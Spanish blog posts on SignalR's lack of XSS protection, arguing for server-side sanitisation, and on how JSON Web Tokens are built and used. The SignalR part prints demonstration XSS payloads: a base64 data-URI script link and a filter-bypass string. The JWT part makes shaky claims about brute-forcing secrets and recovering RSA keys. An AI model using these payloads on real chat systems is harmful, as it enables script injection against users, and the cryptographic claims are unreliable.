1. Eladio Rincon por volver a hacerme pensar.

2. Marc Rubiño por responderme por twitter.

3. Ruben Ferandez por presentarme a Charlas Cylon que nos dejo claro alguna que otra cosa interesante por twitter.

4. Modesto San Juan que me dejo muy claro una cosa y es que no utilices LINQ EN MONGO

Se me olvidaba lo mejor y es que lo mismo en mi WebApi devuelvo un MongoCursor<BsonDocument> y me olvido de por vida con Mongo de crear Dtos, investiga esto que yo ya lo he hecho y posible es Sonrisa.

Signal R-Un inciso entre el 3-1 y 3-2

Tras esta cita mía por twitter, para informar de las alusiones en el anterior post a Luis

Está mañana se monta un bonita conversación que por favor no dejes de leer y sobre todo vuelve y sigue leyendo.

https://twitter.com/luisruizpavon/status/436770399620456448

Según el equipo de SignalR no debemos de validar en el servidor y si en cada cliente, copio cita literal de la documentación.

Safely handling input from clients

To ensure that a malicious user does not send script to other users, you must encode all input from clients that is intended for broadcast to other clients. You should encode messages on the receiving clients rather than the server, because your SignalR application may have many different types of clients. Therefore, HTML-encoding works for a web client, but not for other types of clients. For example, a web client method to display a chat message would safely handle the user name and message by calling the html() function.

chat.client.addMessageToPage = function (name, message) {
    // Html encode display name and message. 
    var encodedName = $('<div />').text(name).html();
    var encodedMsg = $('<div />').text(message).html();
    // Add the message to the page. 
    $('#discussion').append('<li><strong>' + encodedName
        + '</strong>:  ' + encodedMsg + '</li>');
};

Lo primero es que me parece un ejemplo malísimo de sanitización, puesto que convertir a texto lo que el usuario me está demandando como texto enriquecido/html es cuando poco saltarte a la torera lo que el usuario espera de tu aplicación, que no es otra cosa que un chat con video,link,imagenes, etc….

Ahora si para curarte lo que haces es matar todas esas funcionalidades como que ….

Es por eso por lo que en el anterior post SignalR 3 de 1 escribí este párrafo.

Es más las herramientas AntiXss de MVC y he buscado y probado alguna que otra o son muy restrictivas o bien alguna que otra cosa se comen el ataque y por tanto siempre estás con el miedo en el cuerpo.

En este caso el ejemplo es eso muy restrictivo, aunque se sigue comiendo el constructor.constructor(alert(1)) y sigo diciendo lo mismo. Que depende de donde hagas el binding será o no peligroso.

Os pongo un ejemplo, absurdo pero que a cualquiera se le puede ocurrir ponerlo en marcha con un dato que dependa de una entrada.

image

Ahora solo tienes que pulsar en cada una de las entradas de tu chat capado de funcionalidades y sanitizado para comerte otro ataque de Fernandito.

Evidentemente que tu eres muy malo, como desarrollador y es por eso por lo que has dejado una puerta abierta que otro está aprovechando, pero nadie te está informando de todos los posibles errores que puedes cometer y como dije es tu obligación y no de SignalR. Solo que me siento contento de haberlo dicho tan claro y tan alto (SIGNALR NO TIENE NINGUNA PROTECCIÓN ANTIXSS Y MVC LA QUE TIENE NO ES BUENA).

Si ya habéis leído la conversación de twitter, yo abogo por hacer esto en el servidor y no en el cliente y os cuento el porque.

El UsuarioA tiene la app en un teléfono y el UsuarioB en un pagina web, según nos recomienda el equipo deberías de sanititzar en el teléfono y en la web y dejar que te entre a tu servidor cualquier tipo de código.

Y en un principio te puede parecer lógico, pero que ocurre si tu chat también tiene la posibilidad de enviar a terceros usuarios fuera de tu organización los mensajes recibidos por correo electrónico, siguiendo con la propuesta del equipo tu estás expandiendo código malicioso sin darte cuenta y que dependerá que el tercer usuario se vea afectado según que aplicación lo está recibiendo.

La preguntas que te deberías de hacer es

1-¿Ese tercero está protegido?

2-¿Conoces las herramientas que utiliza esa otra persona?

3-¿Vas a sanitizar en tres puntos Telefono,Web y Servidor(antes de enviar el mensaje?

No ves más lógico hacerlo en un punto y curarte en salud, pero que ocurre que hacer una librería AntiXss y prevenir todos los casos como poco es costosa y muy difícil de mantener. Y yo en el caso del equipo de SignalR hubiese hecho lo mismo, solo les puedo reprochar que en la página web y al principio en rojo y muy grande ponga

“CUIDADO QUE NO ESTAMOS CUBRIENDO TODOS ESTOS POSIBLES PROBLEMAS”

Conclusiones

Simplemente es una aclaración y que me importa bastante poco lo que me diga una fuente y me da lo mismo su procedencia sin previo análisis de lo que puede ocurrir.

Ya habéis visto que ni siquiera la propuesta es buena (simplemente es un ejemplo dirán algunos,xDDDD).

Y yo respondo si, pero uno que van a copiar seguro miles de personas.

Así que utiliza SignalR como buena herramienta que es y protégete de AntiXss siempre y en el servidor, ya os he puesto un ejemplo donde la propuesta del equipo se queda sin fundamentos.

 

SignalR 3 de 1

A muchos de vosotros os puede parecer gracioso el título y otros muchos pensareis que Pedro se ha equivocado y quería poner como titulo “SignalR 1 de 3”.

Otro buen titulo podría ser “Fernando III y la reconquista de Ubeda” alguno me va a entender

Pues no, no me he equivocado simplemente es que quiero escribir de SignalR al revés y dando prioridad a lo más importante.

Que SignalR es una gran framework, librería,etc magnífico. No se lo voy a discutir a nadie, lo que si voy a discutir es la grandiosidad de una línea y las cosas que pasamos por alto y que a la postre nos pueden hacer más daño del que nos podemos imaginar.

Aclarado el título y demás vamos manos a la obra y para ello que mejor ejemplo que un sistema de notificaciones. Os describo brevemente los requisitos del sistema.

Nuestro gerente nos dice al equipo de programación que todos los miembros de la empresa tienen que tener conocimiento de los movimientos de la competencia en tiempo real. Yo que me declaro “Fernando III(programador oxidado)”

Le digo que fácil no es y que hay que estudiarlo muy detenidamente.

Claro el jefe como buen jefe lo que hace es apretar y apretar hasta que evidentemente salta la voz del programador moderno, ese que todo lo que le cae en sus manos es bueno y magnífico.

Su respuesta es inmediataSonrisa lo hacemos con SignalR y Jquery en dos horas y así cada uno de la empresa puede conocer a la competencia en tiempo real. Que pasa en ese momento, que los programadores oxidados nos ponemos en Sleep(hasta el infinito y dejamos trabajar).

Efectivamente gracias a las bondades de SignalR y Jquery el programador modernista hace lo siguiente.

Un Hub de SignalR, permíteme Luis que coja tu código de este magnifico ejemplo cpu-monitor que me ayudo a decir, voy a mirar SignalR por primera vez. Y también te pido permiso para que lo pueda dejar con este aspecto para ver el ejemplo del post.

image

Que si señores que solo necesito eso a nivel de servidor mas el Startup de Katana/Owin donde indico que quiero trabajar con SignalR.

image

Por último un controlador mvc con una línea y una vista muy sencilla que se encarga de toda la magia.

Metodo del controlador.

image

Vista.

image

Y evidentemente el resultado es el esperado por el más optimista y moderno del equipo.

image

No dos horas, en menos de 10 minutos acabo de montar lo que me comento el gerente y ahora si que tengo claro que me sube el sueldo, vamos ni 50 líneas de código y eso que les parecía de estudio, jejeje ya lo tenemos.

Vamos que no tengo abuela y soy un “Crack”

Después de todas estos logros conseguidos por el “programador moderno” y la conversación con el gerente llega al departamento eufórico y enseñándoselo a todo el mundo.

Ahora empieza el momento de Fernando III, que sin más le dice “chavalote buen trabajo”, luego lo miro.

Lo primero que le llega a la cabeza a “Fernando III” no es otra cosa que probar si SignalR tiene algún tipo de prevención AntiXss y rápidamente se da cuenta que evidentemente no cumple con el patrón “Cuidadín”

No dice otra cosa que tengas prevención por lo que te entra que una vez dentro el mal ya está hecho y poca solución tiene.

Primer principio que no cumple SignalR actúa al contrario, todo lo que llega es bueno y por tanto lo devuelvo. Y siempre será tu obligación validar las entradas, puesto que no existe ningún mecanismo automático, quizá ese no sea su cometido, pero si el tuyo.

Con lo cual que hace en ese momento Fernandito, harto de escuchar todos los días que cosa tras cosa, todo es maravilloso. Rápido va a enviar esta cadena al resto de la empresa y quiere ver que pasa.

 

<a href="data:text/html;base64,

PHNjcmlwdD5hbGVydCgnaG9sYSBzb3kgZmVybmFuZ

Gl0byB5IG5vIHNhYmVzIGxvIHF1ZSB0ZSBoYSBjYWlkbyB

tb2Rlcm5pdG8nKTwvc2NyaXB0Pg==" target="_blank">Una cosa interesante de la competencia</a>

Y que serán esas letras tan raras que ha enviado “Fernandito”, aunque lo vais a ver en vuestros exploradores os lo voy a contar muy resumidamente, que a buen entendedor pocas palabras bastan.

image

Si, SignalR no te dota de ningún mecanismo AntiXss.

Es más las herramientas AntiXss de MVC y he buscado y probado alguna que otra o son muy restrictivas o bien alguna que otra cosa se comen y por tanto siempre estás con el miedo en el cuerpo.

Os animo a que hagáis una prueba con  la siguiente instrucción JavaScript en la  consola de vuestros exploradores y después la pases como parámetro de una url .

constructor.constructor(alert(1))()

Como mínimo la vas a serializar en tu bb.dd y solo depende de donde hagas Binding de esa sentencia JavaScript para que sea o no peligrosa, pero de antemano se pasa en la actualidad un porcentaje muy alto de los filtros AntiXss que he comprobado.

Si a esto le sumamos la tendencia excesiva de uso de token como mecanismo de seguridad en la web frente a cookies, veo una laguna durante cierto tiempo plagada de miedos y de errores muy gordos que pueden comprometer seriamente la seguridad.

Como la serie trata de 3 capítulos os adelanto de que vamos a hablar en los siguientes.

Capitulo 3 de 2. Vamos a ver como ese tipo de ataque lo puedo solucionar con Angularjs aunque jamás lo recomendaré.

Capitulo 3 de 3. Como intuí que SignalR no tenía ningún filtro de protección AntiXss. Y veremos también las diferencias en el cliente entre utilizar Server Send Event y foreverFrame.

Conclusiones.

1. En ningún momento pienses que SignalR es malo, solo piensa en seguridad cuando la utilices.

2.No eres más dichoso por avisar antes, sino por avisar antes y decir las cosas claras, que por ningún sitio he visto esto y hay tenéis la prueba de que no me estoy inventando nada.

 

 

 

 

 

.

JWT(Json Web Token) Cuando?

Sí a alguien esto no le suena a nada, lo primero que le recomendaría sería leer la especificación.

JSON Web Token (JWT)

El objetivo de este post es hacer un breve resumen de lo que es JWT y cuando deberías de utilizarlo.

Lo primero es que no lo veo como un sistema para securizar una api, aunque tengo que reconocer que utilizando “Access control de Azure” lo puedes conseguir.

¿Como yo creo un JWT?

Lo primero es crear un objeto Header básicamente con los siguientes datos, esta claro que lo podéis hacer desde c# o desde el lenguaje donde os sintáis mas felices.

Yo de momento os lo voy a mostrar en Json para no tener que dar vueltas.

{typ:”JWT”,alg:”HS256”}

Sí el token lo emite “Access Control de Azure”  os llega un atributo más que no es otro que el Thumbprint del certificado con las siguientes conversiones y por tanto no encriptaciones.

El Thumprint se muestra como una cadena en Hexadecimal y lo que nos llega es esta convertida a base64UrlEndoced.

Es decir un token desde ACS nos llega así.

{«typ»:»JWT»,»alg»:»RS256″,»x5t»:»LF3aEfMmXEeFkVldf-_WLjVXHHo»}

No voy a entrar de momento a explicar cual es la diferencia en el “alg” puesto que es obvia.

Lo que asusta es encontrarte esto en el Header.

 «x5t»:»LF3aEfMmXEeFkVldf-_WLjVXHHo»

Fácil de resolver búsqueda en Google con los siguientes términos “x5t jwt” y buceando en el siguiente documento JSON Web Token (JWT) – Claims and Signing  nos encontramos con esto.

 

image

Vamos para comérteloSonrisa

The «x5t» (x.509 certificate thumbprint) header parameter provides a base64url encoded SHA-256 thumbprint (a.k.a. digest) of the DER encoding of an X.509 certificate that can be used to match a certificate. This header parameter is OPTIONAL.

Tranquilos, que no pasa nada vamos a utilizar unas sencillos metodos de c# para descubrir esta magia.

Dado el siguiente Thumprint

2C5DDA11F3265C478591595D7FEFD62E35571C7A» vamos a ver como obtenemos esto otro que es lo que nos llega “LF3aEfMmXEeFkVldf-_WLjVXHHo”.

Para ello necesitamos estos helper en c# que nos ayudarán a lo largo del post.

DecodeHesString

image

ConvertHexDigit

image

 

Y por último estos dos métodos sobrecargados para poder convertir a Base64UrlEncode.

image

Sino me he equivocado y después de acceder al certificado que puedes ver desde “Certificados y claves de Acs” y ver esto 2C5DDA11F3265C478591595D7FEFD62E35571C7A podemos ejecutar esta linea en c# y obtener el x5t.

var misterio = Base64UrlEncode( DecodeHexString(«2C5DDA11F3265C478591595D7FEFD62E35571C7A»));

Y la pregunta es ¿Para que se utiliza esto en Acs si es optional el parametro?.

Sencillo, para comprobar que estás validando y no firmando el token JWT con un certificado valido. Es decir el servidor firma con la clave privada y tu validas con la pública, más se hace una comprobación de este dato.

El siguiente paso es jugar con la segunda parte del token y a esto se le llama playload. Mas bien un formato libre donde puede poner una serie de información en el token que después puedo utilizar.

Tenemos que destacar los siguientes claims.

Registered Claim Names

Aparte de estos (Todos OPTIONAL) tu puedes poner los que quieras, más claims evidentemente más información susceptible de ser capturada y por tanto explotada.

Un ejemplo sencillo sería algo como esto.

{«iss»:»joe»,
  «exp»:1300819380,
  «http://example.com/is_root»:true}

Con lo cual una vez conocido el Header y el Playload lo que hacemos es convertir ambos a Base64UrlEncoded que por supuesto no significa más que eso codificar.

Y por tanto fácil de descodificar con lo que obtenemos una serie de caracteres y ambos valores los concatenamos con un “.”

Ejemplo.

eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9
.
eyJpc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQogImh

0dHA6Ly9leGFt
cGxlLmNvbS9pc19yb290Ijp0cnVlfQ

Una cosa que nos debe de quedar clara es que esto está codificado y no encriptado, con lo cual es una fuente de información valiosa para obtener email,client-id(Oauth), name, etc,etc.. Es decir cuanto más información incluyas más información expones.

Por último tenemos dos formas de mandar un JWT.

1. PlainText. Simplemtne al final se le agrega un “.” y el algoritmo de encriptación es “node” con lo cual tu token quedaría de la siguiente forma.

Base64UrlEncoded(Header).Base64UrlEndoced(PlayLoad).

En una palabra cualquiera podría reproducir este token a su gusto con poco esfuerzo y os pongo un ejemplo, imaginad por un momento que twitter utilizase esto. Yo hoy soy xxxx y mañana podría ser yyyy y hacer lo que hace yyyy si que el se enterase.

Con lo cual mi recomendación es muy sencilla no se debe de utilizar excepto que sea dentro de tu propia organización sin salir a ningún sitio y te quieras ahorrar el tiempo de encriptar el token.

2. Encrypted JWT.

La forma de generarlo sería igual al anterior pero cumpliendo con el siguiente patrón.

Se cogen los valores devueltos por PlainText  y se codifican con un algoritmo.

HS256,RS256(Recomendado),etc,etc.

Base64UrlEncoded(Header).

Base64UrlEndoced(PlayLoad).

Base64UrlEndoced(hmac(Header+.+PlayLoad))

Vamos a pensar. A partir de este momento cuantos de los algoritmos que se pueden utilizar para encriptación son susceptibles a un ataque del tipo “Force-Brute”. Cuando lo vi por primera vez pensé en esta ecuación de primer grado.

2X=6.

Es decir solo depende de la capacidad de cálculo para que yo sepa cual es tu clave secreta con la que estás firmando los tokens.

Como diría Yoda “Si quieres la luz ver, y conoces dos partes fácil te será encontrar el camino”.

En una palabra, tu no te vas a enterar en la vida que yo voy a hacer un “Force-Brute” puesto que voy a utilizar mi propio token para conocer tu secret key y por tanto poder generar nuevos, siempre que no utilices un certificado.

Ya que en ese caso yo solo conoceré en el caso de Azure(Acs) la clave pública y no la clave secreta, cosa que me va a permitir validar el token y no emitir nuevos tokenSonrisa Bien,Bien…. Pero hasta cuando eso no es vulnerable?

Tuve la suerte de compartir con el amigo @3lcarry la generación de token JWT para integrar nuestro sistema con SalesForce y después integrar con Google Drive.

Ambos utilizan un sistema muy parecido donde después de registrar una app y el administrador dotar a esta de una serie de permisos, tu sin la iteración del usuario puedes hacer cosas en su nombre. Es decir en ningún caso el usuario tiene que autenticarse contra Google o contra SalesForce ni contra ningún proveedor de identidad.

Para entendernos, esas dos plataformas utilizan JWT como mecanismo de autorización Server To Server y ambas me devuelven un token de sesion(access-token) que expira en 3600 segundos y que tienen sus mecanismos de revocación y de refresco enviando un nuevo JWT para obtener un access-.token. Es decir en ningún caso se envia el JWT en la cabecera http.

Lo siguiente que yo me tengo que plantear es como obtengo un “access-token” con los proveedores SalesForce y Google, sencillo se hace un post al servidor desde tu servidor pasando los siguientes parametros.

gran-type:urn:ietf:params:oauth:grant-type:jwt-bearer

assertion:JWT(formado desde tu servidor y enviado a su servidor)

Aparte de esto en la cabecera del post se envía.

Content-Type: application/x-www-form-urlencoded

Vamos que la posiblidad de que alguien sea capaz de generar token haciendo una comunicación Server-To-Server es complicada. Puesto que después de hacer el POST tu ya no trabajas con un JWT sino con un access-token que es igual que un token de Oauth 2.0.

Y ahora la pregunta es porque Azure lo hace diferente, porque te autenticas contra un proveedor de identidad y después de hacer todo el flujo Oauth 2.0 u OpenId en el caso de que el proveedor sea Google. Azure te devuelve un JWT que tu decides pasar a tu Api.

¿Tienes claro que RSA es seguro?

¿Conocidas dos partes podrías descubrir la tercera(clave privada)?

Yo tengo serías dudas de que ha fecha de hoy eso no se pueda obtener.

Con lo cual no me parece un mecanismo acertado utilizar JWT y Acs para aplicaciones web, quizás eso solo está pensado para aplicaciones del tipo Windows 8, Windows Phone y alguno ha malinterpretado su uso, incluso aún siendo para estás dos plataformas, tengo mis miedos, puesto que nadie me impide capturar en ambas el trafico http y por medio de mi token poder generar otros, para otros usuarios. Sigo insistiendo que el firmar el token con un Certificado me está protegiendo de momento, vamos creoSonrisa.

Bueno desmenuzado JWT, sigo pensando exclusivamente en su utilización “SERVER TO SERVER” y con este obtener un access-token  que es el que utilizo en la cabecera de Autorización. Cualquiera puede ser proveedor de JWT.

Podemos inventar lo que se quiera y aplicarlo donde nos plazca, pero acuérdate cada vez que lo pongas en marcha de estas palabras “Force-Brute” o de esta ecuación de primer grado 2x=6.

Repito que luego parece otra cosaSonrisa. El token de ACS excepto que trasmites información delicada del usuario en cada round trip, que es más pesado que un “access-token” y que vas en contra del resto del mundo. Es seguro,hasta donde llegan mis conocimientos para romper una clave privada de un certificado.

Pero aplica la ecuación de primer grado y piensa que tengo mucha información para poder despejar la x y también la necesaria como para saber como se forma PKCS1, lo mismo es cuestión de tiempo.

Otras referencias.

Using OAuth 2.0 for Server to Server Applications

OAuth 2.0 JWT Bearer Token Flow

pure JavaScript implementation of JWT ( JSON Web Token ) and JWS ( JSON Web Signature ) Aquí os podéis divertir un ratoSonrisa.

Cookies vs Tokens. Getting auth right with Angular.JS Yo esto no lo haría en la vida. Si quieres puedes utilizar esto Brute Force c# y probar.

Conclusiones.

Cuando vamos a trabajar como el resto, quizá esté soñando una vez más.